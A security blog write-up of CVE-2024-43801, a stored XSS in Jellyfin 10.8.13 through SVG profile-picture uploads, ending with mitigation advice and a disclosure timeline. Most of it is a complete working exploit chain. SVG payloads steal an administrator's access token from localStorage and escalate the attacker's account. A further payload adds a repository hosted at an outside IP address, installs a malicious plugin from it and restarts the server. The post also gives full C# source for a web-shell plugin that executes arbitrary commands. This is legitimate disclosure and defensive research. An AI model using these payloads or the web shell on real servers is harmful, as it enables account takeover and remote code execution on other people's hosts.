Post

CVE-2024-43801

Jellyfin XSS

TL;DR - We found stored XSS in Jellyfin 10.8.13 which allowed privilege escalation to a platform administrator and ultimately to arbitrary code execution on the host. Fun for the whole family!

Technical details

What is it?

Jellyfin is a media content management system that allows storage and access to media from a variety of devices. It’s a great alternative to things like Plex and Emby. The usage model is that any user can set up a Jellyfin on their device - and then they can then invite other users to browse their content through a system of invites. Invites only grant users access to specific libraries and content, and shouldn’t be able to view or adjust the site settings (unless their account is elevated to an administrator).

Now you’re probably thinking (because the above text is a copy-paste of our Emby post)… isn’t this the same as our recent Emby CVE, which you can read about here…?

Well Yes But No Meme

Jellyfin is a fork of Emby and shares some similarities in their code bases. However, unlike Emby, there was more fun to be had with this XSS!

So, much like Jellyfin forking from Emby, we are going to fork our Emby write-up for this write-up.

What was wrong?

When interacting with the application we found that Jellyfin allowed all users to personalise their profiles (Yay!) via the form of avatar images. This included support for SVG files. As is often the case, however, we found that there was insufficient validation on SVG file uploads, which made it vulnerable to abuse by including malicious JavaScript.

We created the following JavaScript payload and uploaded it to the server as a profile picture titled: “not-xss-i-swear.svg”.

1
2
3
4
5
6
7
8
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("2")
  </script>
</svg>

Uploading a profile image involves a single POST request with the image base64 encoded in the POST body. For example:

1
2
3
4
5
6
POST /Users/d420c356f7db4874bcbf94016ebe1529/Images/Primary HTTP/1.1
X-Emby-Authorization: "MediaBrowser Client='Jellyfin Web', Token=[TOKEN HERE]"
X-Content-Type: image/svg+xml
[SNIP]

PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDEuMS8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9HcmFwaGljcy9TVkcvMS4xL0RURC9zdmcxMS5kdGQiPgo8c3ZnIHZlcnNpb249IjEuMSIgYmFzZVByb2ZpbGU9ImZ1bGwiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgPHBvbHlnb24gaWQ9InRyaWFuZ2xlIiBwb2ludHM9IjAsMCAwLDUwIDUwLDAiIGZpbGw9IiMwMDk5MDAiIHN0cm9rZT0iIzAwNDQwMCIvPgogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGFsZXJ0KCIyIikKICA8L3NjcmlwdD4KPC9zdmc+

That simple alert("2") gives us some stored XSS whenever our profile picture is viewed directly. Note the d420c356f7db4874bcbf94016ebe1529 in the URL of the POST request, this is the ID of our current user that we are uploading our profile picture to, this ID will come in handy later down the track.

So what?

Remember earlier how we mentioned the Jellyfin is a fork of Emby? Well much like was the case with Emby, at the moment exploiting this vulnerability is pretty pointless - sure you could inject some JavaScript or HTML and make the page look a bit funky - but not much else.

But, given that Emby was doing odd things with authentication and authorization, we wondered if Jellyfin was too.

Turns out it’s the same as Emby - which means all authenticated users use an X-Emby-Authorization token that’s stored in local storage instead of as a cookie.

Déjà vu Simpsons Meme

As the token is stored in local storage as part of the jellyfin_credentials item, we can access the value of that token using client-side JavaScript in our XSS. The JavaScript to retrieve the token looks something like this:

1
token = JSON.parse(localStorage.getItem("jellyfin_credentials")).Servers[0].AccessToken;

But still, retrieving our token isn’t much to get excited about - after all we already have it! But if we were able to retrieve someone else’s token, we might be able to perform actions as that user!

The second phase

Once again, much like Emby, as part of the administrative functionality, administrators can elevate the privileges of any other user on the platform by making a POST request to /Users/<USER-ID>/Policy, with the payload {"IsAdministrator":true}. This is where the aforementioned ID comes in handy.

Elevating the user above (as an example) would be a single POST request with the following body:

1
2
3
4
5
6
7
8
POST /Users/<USER-ID>/Policy HTTP/1.1
X-Emby-Authorization: "MediaBrowser Client='Jellyfin Web', Token="+token
Content-Type: application/json
[SNIP]

{
  "IsAdministrator":true
}

Putting all this together, all we need to do is to replace our original stored XSS payload with the following payload, which defines and executes custom JavaScript to retrieve the token and then submit a POST request using it (but replacing the <USER-ID> in /Users/<UserId>/Policy with the <USER-ID> of our user):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    var token = JSON.parse(localStorage.getItem("jellyfin_credentials")).Servers[0].AccessToken;
    var xhttp_priv_esc = new XMLHttpRequest();
    xhttp_priv_esc.open("POST", "/Users/d420c356f7db4874bcbf94016ebe1529/Policy", true);
    xhttp_priv_esc.setRequestHeader("Content-type", "application/json");
    xhttp_priv_esc.setRequestHeader("X-Emby-Authorization", "MediaBrowser Client='Jellyfin Web', Token="+token);
    xhttp_priv_esc.send(JSON.stringify({"IsAdministrator":true}));
  </script>
</svg>

Uploading the SVG and browsing to it currently does nothing, as our user doesn’t have permission to elevate users to administrators. However, the payload triggers when ANY user views your profile picture directly… All we need to do now is to get any Jellyfin user with administrator permissions to visit our profile picture and our payload will retrieve their token and use it to make our user an administrator of the site!

So, we could just wait for someone to right-click and “open in new tab/window”… Or, we could just copy the URL and send the administrator our cool new picture! The URL for the profile picture looks something like this:

https://jellyfin.redacted/Users/d420c356f7db4874bcbf94016ebe1529/Images/Primary?tag=9f12c97acf60573d151a2ac277a8d1ce&quality=90

Hang on, you said this was different!

Now, an old snowman colleague once said to me that “XSS is not a real bug”. He was also famous for one-liners like “Yeah, but did you shell it?” So we decided to use this opportunity to show the impact XSS could have on a system, well by shelling the hell out of it!

Unlike Emby, Jellyfin offers a way for administrators to install plugins through the administrator dashboard. Now, I hear you, this is intended administrator functionality you’re saying, but a shell is a shell is it not? And in any case, granting a user admin credentials on a web server shouldn’t necessarily equate to also giving that user permission to execute arbitrary commands on the host.

Adding a repository is as simple as adding a JSON object, containing the repository Name, Url, and marking Enabled as true, on a happy little POST request to /Repositories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /Repositories HTTP/1.1
X-Emby-Authorization: "MediaBrowser Client='Jellyfin Web', Token="+token
Content-Type: application/json
[SNIP]

[
  {
    "Name":"Jellyfin Stable",
    "Url":"https://repo.jellyfin.org/releases/plugin/manifest-stable.json",
    "Enabled":true
  },{
    "Name":"RCE",
    "Url":"http://192.168.6.213:8000/manifest.json",
    "Enabled":true
  }
]

All we need is a repository to add… So by following Jellyfin’s documentation on their GitHub page, conveniently labelled:

So you want to make a Jellyfin plugin

itz-d0dgy sets out to write a malicious plugin!

Lets Cook Meme

Queue a montage of a lot of finagling, multiple stupid C# moments, the temptation to blame .NET for all my problems, and thanking TC for teaching itz-d0dgy what little .NET he does know! We ended up with the following for our malicious plugin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Net;
using System.Diagnostics;
using Microsoft.AspNetCore.Mvc;

namespace JellyfinRCE;

public class JellyfinRCE : ControllerBase {
    
  [HttpGet("/api/super_secret_web_shell/{command}")]
  public IActionResult shell(string command){

    var new_process = new Process();
    new_process.StartInfo.FileName = OSCheck();
    new_process.StartInfo.Arguments = $"-c \"{command}\"";
    new_process.StartInfo.UseShellExecute = false;
    new_process.StartInfo.RedirectStandardOutput = true;
    new_process.StartInfo.RedirectStandardInput = true;
    new_process.StartInfo.RedirectStandardError = true;
    new_process.StartInfo.CreateNoWindow = true;
    new_process.Start();

    string output = new_process.StandardOutput.ReadToEnd();
    string htmlOutput = $"<pre>{output}</pre>";
    return Content(htmlOutput, "text/html");
  }

  private static string OSCheck(){         
    if( OperatingSystem.IsWindows() ){
      return "powershell.exe";
    } else {
      return "sh";
    }
  }
}

This malicious plugin creates an endpoint that will take a command, check if the underlying operating system is Windows or Linux, and execute that command in their respective shell. This plugin is built into a DLL and stored in a ZIP file hosted alongside a “manifest.json” file which Jellyfin requires to install the plugin.

The “manifest.json” file contains the metadata of the plugin in a JSON object. After finding an example file online, a unique guid was generated, the sourceURL of the zip containing the DLL was added, and the checksum calculated we had the below file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[
  {
    "category": "Authentication",
    "guid": "a4df60c5-6ab4-412a-8f79-2cab93fb2bc5",
    "name": "super_secret_web_shell",
    "description": "A super secret webshell that will be installed silently via XSS",
    "owner": "itz-d0dgy",
    "overview": "RCE",
    "versions": [
      {
        "sourceUrl": "http://192.168.6.213:8000/test.zip",
        "checksum" : "1e6e6d1ac46d3141a0a6315744747b26",
        "changelog": "bug fixes and improvements",
        "targetAbi": "10.6.0.0",
        "timestamp": "2020-03-27 06:02:58",
        "version": "1.0.7.0"
      }
    ]
  }
]

It was also pointed out to us later down the track that we could have just used an existing plugin crafted by Frederic Linn in their glorous blog ‘Peanut Butter Jellyfin Time’, however it was 1am and we failed to flex our google foo, and on the flip side we would have missed out on learning how the plugin manifest file worked and silently abusing the install plugin functionality.

Ultimately all we had to do was modify the SVG to silently add the malicious repo, silently install the plugin, and upon completion, reboot the server. Hey what the hell, let’s escalate our privileges too while we are at it! The SVG payload ended up looking like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    var token = JSON.parse(localStorage.getItem("jellyfin_credentials")).Servers[0].AccessToken;

    // Request To Make Low Priv User Admin Because Why Not
    setTimeout(function(){
      var xhttp_priv_esc = new XMLHttpRequest();
      xhttp_priv_esc.open("POST", "/Users/d420c356f7db4874bcbf94016ebe1529/Policy", true);
      xhttp_priv_esc.setRequestHeader("Content-type", "application/json");
      xhttp_priv_esc.setRequestHeader("X-Emby-Authorization", "MediaBrowser Client='Jellyfin Web', Token="+token);
      xhttp_priv_esc.send(JSON.stringify({"IsAdministrator":true}));
    }, 200);
    
    // Request To Silently Add Malicious Repo
    setTimeout(function(){
      var xhttp_add_repo = new XMLHttpRequest();
      xhttp_add_repo.open("POST", "/Repositories", true);
      xhttp_add_repo.setRequestHeader("Content-type", "application/json");
      xhttp_add_repo.setRequestHeader("X-Emby-Authorization", "MediaBrowser Client='Jellyfin Web', Token="+token);
      xhttp_add_repo.send(JSON.stringify([{"Name":"Jellyfin Stable","Url":"https://repo.jellyfin.org/releases/plugin/manifest-stable.json","Enabled":true},{"Name":"RCE","Url":"http://192.168.6.213:8000/manifest.json","Enabled":true}]));
    }, 300);

    // Request To Silently Install Malicious Plugin
    setTimeout(function(){
      var xhttp_install_plugin = new XMLHttpRequest();
      xhttp_install_plugin.open("POST", "/Packages/Installed/RCE?AssemblyGuid=a4df60c56ab4412a8f792cab93fb2bc5&amp;version=1.0.7.0", true);
      xhttp_install_plugin.setRequestHeader("Content-type", "application/json");
      xhttp_install_plugin.setRequestHeader("X-Emby-Authorization", "MediaBrowser Client='Jellyfin Web', Token="+token);
      xhttp_install_plugin.send();
      
      // Request To Restart Jellyfin
      xhttp_install_plugin.onreadystatechange = function() {
        if (this.status == 200) {
          var xhttp_reboot_jellyfin = new XMLHttpRequest();
          xhttp_reboot_jellyfin.open("POST", "/System/Restart", true); // /System/Shutdown also works
          xhttp_reboot_jellyfin.setRequestHeader("Content-type", "application/json");
          xhttp_reboot_jellyfin.setRequestHeader("X-Emby-Authorization", "MediaBrowser Client='Jellyfin Web', Token="+token);
          xhttp_reboot_jellyfin.send();
        }
      }
    }, 400);
  </script>
</svg>

Once again, we could wait for the chance that an administrator looks at our profile picture, or we could just send them a link to our profile to retrieve their token and install a plugin (as them) and then BOOM, we have a shell!

Web Shell

Good practice

There are several issues here that allowed this exploitation chain. Preventing any one of them would have made this exploit significantly harder if not impossible.

  1. Implementing the content-disposition: attachment header. This would force the file to be downloaded instead of rendered in the browser.
  2. Sanitising the SVG upon upload, and stripping out known malicious tags. An excellent library for performing that in JavaScript is DOMPurify.
  3. Implementing a content security policy (CSP) on directly accessed assets could have prevented any Stored XSS payload from triggering.
  4. Requiring re-authentication for any privileged functionality (like installing a new add-on or escalating a user to admin) would also be recommended.

Disclosure timeline

  • 17/03/2024: Disclosure submitted to Jellyfin
  • 18/03/2024: Confirmed receipt of disclosure by Jellyfin
  • 27/03/2024: Creation of private GHSA by Jellyfin
  • 03/04/2024: Added to private GHSA by Jellyfin
  • 25/04/2024: Confirmation of issue presented by Jellyfin
  • 23/08/2024: Notice of intent to fix in 10.9.10
  • 25/08/2024: CVE requested
  • 27/08/2024: CVE issued - CVE-2024-43801
  • 03/09/2024: Blog post published.

Reporters

This post is licensed under CC BY 4.0 by the author.